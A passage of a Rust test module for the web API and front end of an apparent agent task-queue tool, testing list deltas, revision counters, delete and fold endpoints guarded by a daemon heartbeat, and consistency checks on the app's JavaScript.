16521        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
16522        assert_eq!(
16523            removed["queue_delta"]["removed"],
16524            serde_json::json!([task.id])
16525        );
16526    }
16527
16528    #[tokio::test]
16529    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
16530        let home = TempDir::new().unwrap();
16531        let ui = delta_test_ui(home.path());
16532        let queue = ui.queue.clone();
16533        let query = |ids: Option<&str>| {
16534            Query(ListQuery {
16535                limit: Some(2),
16536                ids: ids.map(str::to_owned),
16537            })
16538        };
16539        let mut root = Task::new(
16540            "root".into(),
16541            "instruction".into(),
16542            PathBuf::from("/repo"),
16543            Source::Human,
16544        );
16545        queue.put(&mut root).unwrap();
16546        let mut blocked = Task::new(
16547            "blocked".into(),
16548            "instruction".into(),
16549            PathBuf::from("/repo"),
16550            Source::Human,
16551        );
16552        blocked.block(vec![root.id.clone()], None);
16553        queue.put(&mut blocked).unwrap();
16554        let whole =
16555            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
16556                .unwrap();
16557        let subset = serde_json::to_value(
16558            queue_list(State(ui.clone()), query(Some(&root.id)))
16559                .await
16560                .unwrap()
16561                .0,
16562        )
16563        .unwrap();
16564        assert_eq!(whole, subset, "requested root plus its blocked dependent");
16565        let blockers = serde_json::to_value(
16566            queue_list(State(ui.clone()), query(Some("")))
16567                .await
16568                .unwrap()
16569                .0,
16570        )
16571        .unwrap();
16572        assert_eq!(blockers.as_array().unwrap().len(), 1);
16573        assert_eq!(blockers[0]["id"], blocked.id);
16574        assert_eq!(
16575            blockers[0]["waits_on"],
16576            whole
16577                .as_array()
16578                .unwrap()
16579                .iter()
16580                .find(|row| row["id"] == blocked.id)
16581                .unwrap()["waits_on"]
16582        );
16583
16584        for id in [
16585            "20260902-140501-aaaa",
16586            "20260902-140502-bbbb",
16587            "20260902-140503-cccc",
16588        ] {
16589            write_run(&ui.runs, id, RunStatus::Merged);
16590        }
16591        let old = serde_json::to_value(
16592            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
16593                .await
16594                .unwrap()
16595                .0,
16596        )
16597        .unwrap();
16598        assert!(
16599            old.as_array().unwrap().is_empty(),
16600            "older updates must not enter the window"
16601        );
16602        let newest = serde_json::to_value(
16603            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
16604                .await
16605                .unwrap()
16606                .0,
16607        )
16608        .unwrap();
16609        assert_eq!(newest.as_array().unwrap().len(), 1);
16610        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
16611
16612        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
16613        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
16614        let talks = serde_json::to_value(
16615            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
16616                .await
16617                .unwrap()
16618                .0,
16619        )
16620        .unwrap();
16621        assert_eq!(talks.as_array().unwrap().len(), 1);
16622        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
16623        assert_eq!(
16624            serde_json::to_value(
16625                talks_list(State(ui.clone()), query(Some("")))
16626                    .await
16627                    .unwrap()
16628                    .0
16629            )
16630            .unwrap(),
16631            serde_json::json!([])
16632        );
16633    }
16634
16635    #[tokio::test]
16636    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
16637    async fn delta_payload_benchmark() {
16638        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
16639        let ui = delta_test_ui(&home);
16640        let query = |ids: Option<String>| {
16641            Query(ListQuery {
16642                limit: Some(50),
16643                ids,
16644            })
16645        };
16646        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
16647        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
16648        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
16649        let queue_id = queue
16650            .iter()
16651            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
16652            .unwrap_or(&queue[0])
16653            .task
16654            .id
16655            .clone();
16656        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
16657            .await
16658            .unwrap()
16659            .0;
16660        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
16661            .await
16662            .unwrap()
16663            .0;
16664        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
16665            .await
16666            .unwrap()
16667            .0;
16668        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
16669        eprintln!(
16670            "DELTA_PAYLOAD {}",
16671            serde_json::json!({
16672                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
16673                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
16674                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
16675                "counts": [queue.len(), runs.len(), talks.len()],
16676                "blocked": queue_delta.len() - 1,
16677            })
16678        );
16679    }
16680
16681    #[test]
16682    fn runs_revision_moves_when_deleting_an_older_run() {
16683        let temp = TempDir::new().expect("tempdir");
16684        let runs = temp.path().join("runs");
16685        std::fs::create_dir_all(&runs).expect("create runs dir");
16686
16687        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
16688
16689        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
16690        std::thread::sleep(Duration::from_millis(10));
16691        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
16692
16693        let rev_before = runs_revision(&runs);
16694        assert!(rev_before > 0);
16695
16696        let old_dir = runs.join("20260901-100000-old1");
16697        std::fs::remove_dir_all(&old_dir).expect("remove old run");
16698
16699        let rev_after = runs_revision(&runs);
16700        assert_ne!(
16701            rev_before, rev_after,
16702            "deleting an older run must change the revision so other clients see the deletion"
16703        );
16704    }
16705
16706    /// A run's own `run.json` on an explicit `runs` root, bypassing the
16707    /// process-global home entirely — `RunState::save` writes through
16708    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
16709    /// (see `tests::home_lock` in the integration suite for why).
16710    fn write_state(runs: &FsPath, state: &RunState) {
16711        let dir = runs.join(&state.id);
16712        std::fs::create_dir_all(&dir).expect("run dir");
16713        std::fs::write(
16714            dir.join("run.json"),
16715            serde_json::to_string_pretty(state).expect("serialize run"),
16716        )
16717        .expect("write run.json");
16718    }
16719
16720    /// A seat starting or finishing is a write to `run.json` like any other,
16721    /// so it moves the same revision the change stream already watches —
16722    /// nothing new for `/api/events` to learn, but the property this feature
16723    /// depends on to reach the phone without a poll.
16724    #[test]
16725    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
16726        let temp = TempDir::new().expect("tempdir");
16727        let runs = temp.path().join("runs");
16728        std::fs::create_dir_all(&runs).expect("create runs dir");
16729        let mut state = RunState::new(
16730            PathBuf::from("/repo/magi"),
16731            "main".to_owned(),
16732            "0123456789abcdef".to_owned(),
16733            "task".to_owned(),
16734            Config::default(),
16735        );
16736        state.id = "20260902-100000-c0de".to_owned();
16737        write_state(&runs, &state);
16738
16739        let rev_idle = runs_revision(&runs);
16740        std::thread::sleep(Duration::from_millis(10));
16741        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
16742        write_state(&runs, &state);
16743        let rev_started = runs_revision(&runs);
16744        assert_ne!(
16745            rev_idle, rev_started,
16746            "a seat starting must move the revision"
16747        );
16748
16749        std::thread::sleep(Duration::from_millis(10));
16750        state.seat_finished("judge-1");
16751        write_state(&runs, &state);
16752        let rev_finished = runs_revision(&runs);
16753        assert_ne!(
16754            rev_started, rev_finished,
16755            "and clearing it again must move the revision a second time"
16756        );
16757    }
16758
16759    #[tokio::test]
16760    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
16761        // `TaskView` flattens `Task`, so this is really asserting that
16762        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
16763        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
16764        // never touched web.rs, so nothing here caught it if it had.
16765        let fx = Fixture::start().await;
16766        let q = fx.queue();
16767
16768        let mut t = Task::new(
16769            "Task".to_owned(),
16770            "Instruction".to_owned(),
16771            PathBuf::from("/repo"),
16772            Source::Human,
16773        );
16774        t.block(
16775            vec!["20260101-000000-dead".to_owned()],
16776            Some("waiting on Task 1".to_owned()),
16777        );
16778        t.answers.push(crate::queue::AnsweredQuestion {
16779            question: "Which backend?".to_owned(),
16780            answer: "SQLite".to_owned(),
16781        });
16782        q.put(&mut t).expect("put t");
16783
16784        let res = fx.get("/api/queue").await;
16785        assert_eq!(res.status, 200);
16786        let list = res.json();
16787        let view = list
16788            .as_array()
16789            .expect("array")
16790            .iter()
16791            .find(|v| v["id"] == t.id)
16792            .expect("task in list");
16793        assert_eq!(view["status_str"], "blocked");
16794        assert_eq!(
16795            view["blocked_by"],
16796            serde_json::json!(["20260101-000000-dead"])
16797        );
16798        assert_eq!(view["block_reason"], "waiting on Task 1");
16799        assert_eq!(view["answers"][0]["question"], "Which backend?");
16800        assert_eq!(view["answers"][0]["answer"], "SQLite");
16801
16802        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
16803        // but never `answers` - that is a settled decision, not state
16804        // describing the current block, so it survives.
16805        let res = fx
16806            .post(&format!("/api/queue/{}/hold", t.short()), None)
16807            .await;
16808        assert_eq!(res.status, 200);
16809        let held = res.json();
16810        assert_eq!(held["status_str"], "held");
16811        assert_eq!(held["blocked_by"], serde_json::json!([]));
16812        assert!(held["block_reason"].is_null());
16813        assert_eq!(held["answers"][0]["answer"], "SQLite");
16814    }
16815
16816    #[tokio::test]
16817    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
16818        let fx = Fixture::start().await;
16819        let q = fx.queue();
16820        let mk = |title: &str| {
16821            Task::new(
16822                title.to_owned(),
16823                "Instruction".to_owned(),
16824                PathBuf::from("/repo"),
16825                Source::Human,
16826            )
16827        };
16828        let mut root = mk("root");
16829        root.hold_manual(Some("waiting".to_owned()));
16830        q.put(&mut root).unwrap();
16831        let mut mid = mk("mid");
16832        mid.block(vec![root.id.clone()], None);
16833        q.put(&mut mid).unwrap();
16834        let mut leaf = mk("leaf");
16835        leaf.block(vec![mid.id.clone()], None);
16836        q.put(&mut leaf).unwrap();
16837
16838        let list = fx.get("/api/queue").await.json();
16839        let find = |id: &str| {
16840            list.as_array()
16841                .unwrap()
16842                .iter()
16843                .find(|v| v["id"] == id)
16844                .unwrap()
16845                .clone()
16846        };
16847        let leaf_view = find(&leaf.id);
16848        assert_eq!(
16849            leaf_view["waits_on"],
16850            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
16851        );
16852        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
16853        assert_eq!(
16854            find(&mid.id)["waits_on"],
16855            serde_json::json!([format!("{} (held)", root.short())])
16856        );
16857        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
16858    }
16859
16860    #[tokio::test]
16861    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
16862        let fx = Fixture::start().await;
16863        let q = fx.queue();
16864
16865        // 1. A queued task with runs attached can be deleted.
16866        let mut t1 = Task::new(
16867            "Task 1".to_owned(),
16868            "Instruction 1".to_owned(),
16869            PathBuf::from("/repo"),
16870            Source::Human,
16871        );
16872        let run_id = "20260901-000000-r111";
16873        t1.runs.push(run_id.to_owned());
16874        write_run(&fx.runs(), run_id, RunStatus::Merged);
16875        q.put(&mut t1).expect("put t1");
16876
16877        // Delete by short id
16878        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
16879        assert_eq!(res.status, 204);
16880        assert!(res.body.is_empty(), "204 No Content has no body");
16881        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
16882        assert!(
16883            fx.runs().join(run_id).exists(),
16884            "run directory must not be deleted when its task is deleted"
16885        );
16886
16887        // 2. A task a live daemon is running is refused with 409.
16888        let mut t2 = Task::new(
16889            "Task 2".to_owned(),
16890            "Instruction 2".to_owned(),
16891            PathBuf::from("/repo"),
16892            Source::Human,
16893        );
16894        t2.status = TaskStatus::Running;
16895        q.put(&mut t2).expect("put t2");
16896        let mut beat = crate::daemon::Status::new();
16897        beat.current = vec![crate::daemon::Current {
16898            task: t2.id.clone(),
16899            run: "20260901-000000-r222".to_owned(),
16900        }];
16901        beat.updated_at = jiff::Timestamp::now();
16902        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16903            .expect("publish a heartbeat");
16904        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16905        assert_eq!(res.status, 409);
16906        assert!(
16907            res.json()["error"]
16908                .as_str()
16909                .unwrap()
16910                .contains("live daemon")
16911        );
16912        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16913
16914        // 3. The same `running` status and an orphaned lock, with no daemon
16915        // behind either, is a leftover and deletable. Before this the phone
16916        // refused it for good: the status never changes on its own and
16917        // nothing drops a lock whose process is gone.
16918        // The daemon is killed: the file stays, the heartbeat stops.
16919        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16920        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16921            .expect("leave a stale heartbeat");
16922        let mut t3 = Task::new(
16923            "Task 3".to_owned(),
16924            "Instruction 3".to_owned(),
16925            PathBuf::from("/repo"),
16926            Source::Human,
16927        );
16928        t3.status = TaskStatus::Running;
16929        q.put(&mut t3).expect("put t3");
16930        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16931        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16932        assert_eq!(res.status, 204);
16933        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16934        assert!(
16935            q.claim(&t3.id).is_ok(),
16936            "the stale lock went with it, so the id is claimable again"
16937        );
16938
16939        // 4. Missing id returns 404
16940        let res = fx.delete("/api/queue/nonexistent").await;
16941        assert_eq!(res.status, 404);
16942    }
16943
16944    #[tokio::test]
16945    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16946        let fx = Fixture::start().await;
16947        let runs = fx.runs();
16948
16949        // 1. Finished and folded run can be deleted along with artifacts
16950        let run_id = "20260901-000000-fold";
16951        let mut state = RunState::new(
16952            PathBuf::from("/repo"),
16953            "main".to_owned(),
16954            "abc".to_owned(),
16955            "instruction".to_owned(),
16956            Config::default(),
16957        );
16958        state.id = run_id.to_owned();
16959        state.status = RunStatus::Merged;
16960        state.candidates.push(crate::run::Candidate {
16961            index: 0,
16962            label: 'A',
16963            agent: "a".to_owned(),
16964            branch: "b".to_owned(),
16965            worktree: PathBuf::from("/w"),
16966            summary: String::new(),
16967            stat: String::new(),
16968            files: 1,
16969            commits: 1,
16970            empty: false,
16971            failed: None,
16972            verified_noop: None,
16973            duration_ms: 0,
16974            folded: true,
16975        });
16976        let dir = runs.join(run_id);
16977        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16978        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16979            .expect("write artifact");
16980        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16981            .expect("write run.json");
16982
16983        // Delete by short id
16984        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16985        assert_eq!(res.status, 204);
16986        assert!(res.body.is_empty(), "204 has no body");
16987        assert!(!dir.exists(), "run directory and artifacts must be deleted");
16988
16989        // 2. A run a live daemon is working on is refused with 409. The
16990        // heartbeat is what makes it refusable: an unfinished run with no
16991        // daemon behind it is a leftover from a killed process, and case 1
16992        // above would otherwise be impossible to tell apart from this one.
16993        let run_running = "20260901-000000-rung";
16994        write_run(&runs, run_running, RunStatus::Prep);
16995        let mut beat = crate::daemon::Status::new();
16996        beat.current = vec![crate::daemon::Current {
16997            task: "20260901-000000-task".to_owned(),
16998            run: run_running.to_owned(),
16999        }];
17000        beat.updated_at = jiff::Timestamp::now();
17001        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17002            .expect("publish a heartbeat");
17003        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
17004        assert_eq!(res.status, 409);
17005        assert!(
17006            res.json()["error"]
17007                .as_str()
17008                .unwrap()
17009                .contains("live daemon"),
17010            "the refusal must say who is holding it"
17011        );
17012        assert!(
17013            runs.join(run_running).exists(),
17014            "a run in flight keeps its directory"
17015        );
17016
17017        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
17018        let run_unfolded = "20260901-000000-unfd";
17019        let mut state2 = RunState::new(
17020            PathBuf::from("/repo"),
17021            "main".to_owned(),
17022            "abc".to_owned(),
17023            "instruction".to_owned(),
17024            Config::default(),
17025        );
17026        state2.id = run_unfolded.to_owned();
17027        state2.status = RunStatus::Ready;
17028        state2.candidates.push(crate::run::Candidate {
17029            index: 0,
17030            label: 'A',
17031            agent: "a".to_owned(),
17032            branch: "b".to_owned(),
17033            worktree: PathBuf::from("/w"),
17034            summary: String::new(),
17035            stat: String::new(),
17036            files: 1,
17037            commits: 1,
17038            empty: false,
17039            failed: None,
17040            verified_noop: None,
17041            duration_ms: 0,
17042            folded: false,
17043        });
17044        let dir2 = runs.join(run_unfolded);
17045        std::fs::create_dir_all(&dir2).expect("create dir2");
17046        std::fs::write(
17047            dir2.join("run.json"),
17048            serde_json::to_string(&state2).unwrap(),
17049        )
17050        .expect("write run.json");
17051
17052        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
17053        assert_eq!(res.status, 409);
17054        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
17055        assert!(dir2.exists(), "unfolded run directory is kept");
17056
17057        // 4. Missing id returns 404
17058        let res = fx.delete("/api/runs/nonexistent").await;
17059        assert_eq!(res.status, 404);
17060    }
17061
17062    /// The queue tiles on the Stats tab must render even on a home with no
17063    /// runs at all: queue state is not derived from run history, so hiding
17064    /// the whole dashboard body behind "no runs yet" would drop the one
17065    /// thing this tab promises unconditionally (queued/running/held/done).
17066    /// A DOM-level test would need a browser this suite does not have, so
17067    /// this pins the same invariant textually: `renderStatsQueue` is called
17068    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
17069    /// block that gates the run-derived panels.
17070    #[test]
17071    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
17072        let start = APP_JS
17073            .find("function renderStats() {")
17074            .expect("renderStats");
17075        let end = start
17076            + APP_JS[start..]
17077                .find("function statsTile(")
17078                .expect("the next top-level function");
17079        let body = &APP_JS[start..end];
17080
17081        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
17082        let gate_end = gate_start
17083            + body[gate_start..]
17084                .find("}\n  renderStatsQueue")
17085                .expect("the gate's own closing brace, right before the unconditional call");
17086        let gated = &body[gate_start..gate_end];
17087
17088        assert_eq!(
17089            body.matches("renderStatsQueue(").count(),
17090            1,
17091            "renderStats must call renderStatsQueue exactly once: {body}"
17092        );
17093        assert!(
17094            !gated.contains("renderStatsQueue"),
17095            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
17096             run-derived panels on an empty run history - the queue panel has to render \
17097             regardless: {gated}"
17098        );
17099    }
17100
17101    #[test]
17102    fn web_ui_delete_contract_in_front_end() {
17103        // 1. API block has both delete endpoints
17104        assert!(APP_JS.contains("deleteRun:"));
17105        assert!(APP_JS.contains("deleteTask:"));
17106
17107        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
17108        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
17109            ..APP_JS.find("function renderRuns").unwrap()];
17110        assert!(!run_cards_slice.to_lowercase().contains("delete"));
17111
17112        // 3. Run detail has delete entry and reasons
17113        assert!(APP_JS.contains("renderRunDelete"));
17114        assert!(APP_JS.contains("runDeleteReason"));
17115        assert!(APP_JS.contains("magi fold"));
17116        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
17117
17118        // 4. Two-step delete arming and focus on Cancel
17119        assert!(APP_JS.contains("cancel.focus"));
17120        assert!(APP_JS.contains("armedRunDelete"));
17121        assert!(APP_JS.contains("renderTaskDeleteBox"));
17122        assert!(APP_JS.contains("armed${cap(key)}"));
17123
17124        // 5. Running task has disabled delete
17125        assert!(APP_JS.contains("disabled: status === \"running\""));
17126    }
17127
17128    /// Every element a run card's updater reaches for must be in the `refs`
17129    /// the builder handed it.
17130    ///
17131    /// `createRunCard` builds its elements, appends them to the card, and then
17132    /// lists them again in `row.refs`. That second list is the one the updater
17133    /// uses, and nothing connects the two - an element can be built, appended
17134    /// and rendered, and still be missing from `refs`. `superseded` was, for
17135    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
17136    /// exception took `syncList` with it, and the deck showed
17137    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
17138    /// line is computed before the cards, which is why the failure looked like
17139    /// a server that had lost its runs rather than a front end that had
17140    /// stopped rendering them.
17141    ///
17142    /// A `cargo test` cannot execute the front end, so this reads the two
17143    /// halves out of the source and compares them as sets. It is not a check
17144    /// on the wording of either list: adding an element, renaming one, or
17145    /// reordering them all keeps this passing, and only using one the builder
17146    /// never published fails it.
17147    #[test]
17148    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
17149        let build = APP_JS
17150            .find("function createRunCard")
17151            .expect("createRunCard exists");
17152        let update = APP_JS
17153            .find("function updateRunCard")
17154            .expect("updateRunCard exists");
17155        let end = APP_JS
17156            .find("function renderRuns")
17157            .expect("renderRuns exists");
17158
17159        // The builder's published set: the object literal assigned to `refs`.
17160        let builder = &APP_JS[build..update];
17161        let open = builder.find("refs = {").expect("createRunCard sets refs");
17162        let literal = &builder[open + "refs = {".len()..];
17163        let close = literal.find('}').expect("the refs literal is closed");
17164        let published: HashSet<&str> = literal[..close]
17165            .split(',')
17166            // `name` and `name: value` both bind `name`.
17167            .filter_map(|entry| entry.split(':').next())
17168            .map(str::trim)
17169            .filter(|name| !name.is_empty())
17170            .collect();
17171        assert!(
17172            published.len() > 5,
17173            "the refs literal did not parse into names: {published:?}"
17174        );
17175
17176        // What the updaters reach for: every `r.<name>`, where `r` is the
17177        // `const r = row.refs` alias both functions open with.
17178        let mut used: Vec<&str> = Vec::new();
17179        let updaters = &APP_JS[update..end];
17180        for (at, _) in updaters.match_indices("r.") {
17181            // `r` must be the whole identifier, not the tail of another one
17182            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
17183            let before = updaters[..at].chars().next_back();
17184            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
17185                continue;
17186            }
17187            let rest = &updaters[at + 2..];
17188            let len = rest
17189                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
17190                .unwrap_or(rest.len());
17191            if len > 0 {
17192                used.push(&rest[..len]);
17193            }
17194        }
17195        assert!(
17196            used.len() > 5,
17197            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
17198        );
17199
17200        let missing: Vec<&str> = used
17201            .iter()
17202            .copied()
17203            .filter(|name| !published.contains(name))
17204            .collect();
17205        assert!(
17206            missing.is_empty(),
17207            "a run card's updater reaches for {missing:?}, which `createRunCard` \
17208             never put in `refs` - every card will throw and the list will \
17209             render empty under a count line that says otherwise. Published: \
17210             {published:?}"
17211        );
17212    }
17213
17214    #[tokio::test]
17215    async fn folding_from_the_phone_reports_what_it_removed() {
17216        let fx = Fixture::start().await;
17217        let runs = fx.runs();
17218
17219        // A run with no candidates has nothing to fold, which is a 200 with an
17220        // honest count rather than an error: the operator asked for the trees
17221        // to be gone and they are.
17222        let id = "20260901-000000-fold";
17223        write_run(&runs, id, RunStatus::Stalled);
17224        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17225        assert_eq!(res.status, 200);
17226        assert_eq!(res.json()["removed_count"], 0);
17227        assert_eq!(res.json()["run"], id);
17228        assert!(
17229            runs.join(id).exists(),
17230            "a fold keeps the run's record; only the worktrees go"
17231        );
17232    }
17233
17234    #[tokio::test]
17235    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
17236        let fx = Fixture::start().await;
17237        let runs = fx.runs();
17238        let wt = fx.home.path().join("wt").join("magi").join("dead");
17239        let id = "20260901-000000-dead";
17240        std::fs::create_dir_all(runs.join(id)).expect("run dir");
17241        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17242        std::fs::create_dir_all(&wt).expect("worktree dir");
17243
17244        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17245        assert_eq!(res.status, 200, "{}", res.body);
17246        assert!(
17247            res.json()["removed_count"].as_u64().unwrap() > 0,
17248            "the worktree this build could not read a state for still went"
17249        );
17250        assert!(
17251            !runs.join(id).exists(),
17252            "an unreadable run has no candidate list to fold selectively, so \
17253             the whole record goes - same as `magi fold` on the CLI"
17254        );
17255    }
17256
17257    #[tokio::test]
17258    async fn deleting_an_unreadable_run_removes_it_wholesale() {
17259        let fx = Fixture::start().await;
17260        let runs = fx.runs();
17261        let wt = fx.home.path().join("wt").join("magi").join("gone");
17262        let id = "20260901-000000-gone";
17263        std::fs::create_dir_all(runs.join(id)).expect("run dir");
17264        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17265        std::fs::create_dir_all(&wt).expect("worktree dir");
17266
17267        let res = fx.delete(&format!("/api/runs/{id}")).await;
17268        assert_eq!(res.status, 204, "{}", res.body);
17269        assert!(!runs.join(id).exists(), "the broken record is gone");
17270        assert!(!wt.exists(), "its worktree is gone too");
17271    }
17272
17273    #[tokio::test]
17274    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
17275        let fx = Fixture::start().await;
17276        let runs = fx.runs();
17277        let id = "20260901-000000-live";
17278        write_run(&runs, id, RunStatus::Implementing);
17279
17280        let mut beat = crate::daemon::Status::new();
17281        beat.current = vec![crate::daemon::Current {
17282            task: "20260901-000000-task".to_owned(),
17283            run: id.to_owned(),
17284        }];
17285        beat.updated_at = jiff::Timestamp::now();
17286        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17287            .expect("publish a heartbeat");
17288
17289        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17290        assert_eq!(res.status, 409);
17291        assert!(
17292            res.json()["error"]
17293                .as_str()
17294                .unwrap()
17295                .contains("live daemon"),
17296            "folding under a running agent would pull its worktree away"
17297        );
17298    }
17299
17300    #[tokio::test]
17301    async fn fold_merged_requires_a_pr_url() {
17302        let fx = Fixture::start().await;
17303        let runs = fx.runs();
17304        let id = "20260901-000000-nourl";
17305        write_run(&runs, id, RunStatus::Blocked);
17306
17307        let res = fx
17308            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
17309            .await;
17310        assert_eq!(res.status, 400, "{}", res.body);
17311
17312        let blank = fx
17313            .post(
17314                &format!("/api/runs/{id}/fold-merged"),
17315                Some(r#"{"pr_url":"   "}"#),
17316            )
17317            .await;
17318        assert_eq!(blank.status, 400, "{}", blank.body);
17319    }
17320
17321    #[tokio::test]
17322    async fn fold_merged_is_404_for_an_unknown_run() {
17323        let fx = Fixture::start().await;
17324        let res = fx
17325            .post(
17326                "/api/runs/nosuchrun/fold-merged",
17327                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17328            )
17329            .await;
17330        assert_eq!(res.status, 404, "{}", res.body);
17331    }
17332
17333    #[tokio::test]
17334    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17335        let fx = Fixture::start().await;
17336        let runs = fx.runs();
17337        let id = "20260901-000000-livemerge";
17338        write_run(&runs, id, RunStatus::Blocked);
17339
17340        let mut beat = crate::daemon::Status::new();
17341        beat.current = vec![crate::daemon::Current {
17342            task: "20260901-000000-task".to_owned(),
17343            run: id.to_owned(),
17344        }];
17345        beat.updated_at = jiff::Timestamp::now();
17346        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17347            .expect("publish a heartbeat");
17348
17349        let res = fx
17350            .post(
17351                &format!("/api/runs/{id}/fold-merged"),
17352                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17353            )
17354            .await;
17355        assert_eq!(res.status, 409, "{}", res.body);
17356        assert!(
17357            res.json()["error"]
17358                .as_str()
17359                .unwrap()
17360                .contains("live daemon"),
17361            "correcting a run's merge underneath a running agent would race \
17362             whatever it is doing to the same `status`/`merge` fields"
17363        );
17364    }
17365
17366    /// A pull request `gh` cannot even ask about (no such remote, no such
17367    /// repository) must never be recorded as a merge on a guess - the same
17368    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
17369    /// command line, reached here through the phone route instead.
17370    #[tokio::test]
17371    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17372        let fx = Fixture::start().await;
17373        let runs = fx.runs();
17374        let id = "20260901-000000-unconfirmed";
17375        write_run(&runs, id, RunStatus::Blocked);
17376
17377        let res = fx
17378            .post(
17379                &format!("/api/runs/{id}/fold-merged"),
17380                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17381            )
17382            .await;
17383        assert_eq!(res.status, 400, "{}", res.body);
17384        assert_eq!(
17385            read_run(&runs, id).unwrap().status,
17386            RunStatus::Blocked,
17387            "a pull request that could not be confirmed merged must leave \
17388             the run exactly where it was"
17389        );
17390    }
17391
17392    #[tokio::test]
17393    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17394        let fx = Fixture::start().await;
17395        let runs = fx.runs();
17396
17397        // Only a finished run and a failed one. An *interrupted* run - a
17398        // parked one, or one whose daemon was killed mid-node - is the case
17399        // resuming exists for: run 4043 sat at `reviewing` with the deck
17400        // saying it could not be resumed, which was the one state where
17401        // resuming was the only sensible answer.
17402        for (status, word) in [
17403            (RunStatus::Merged, "merged"),
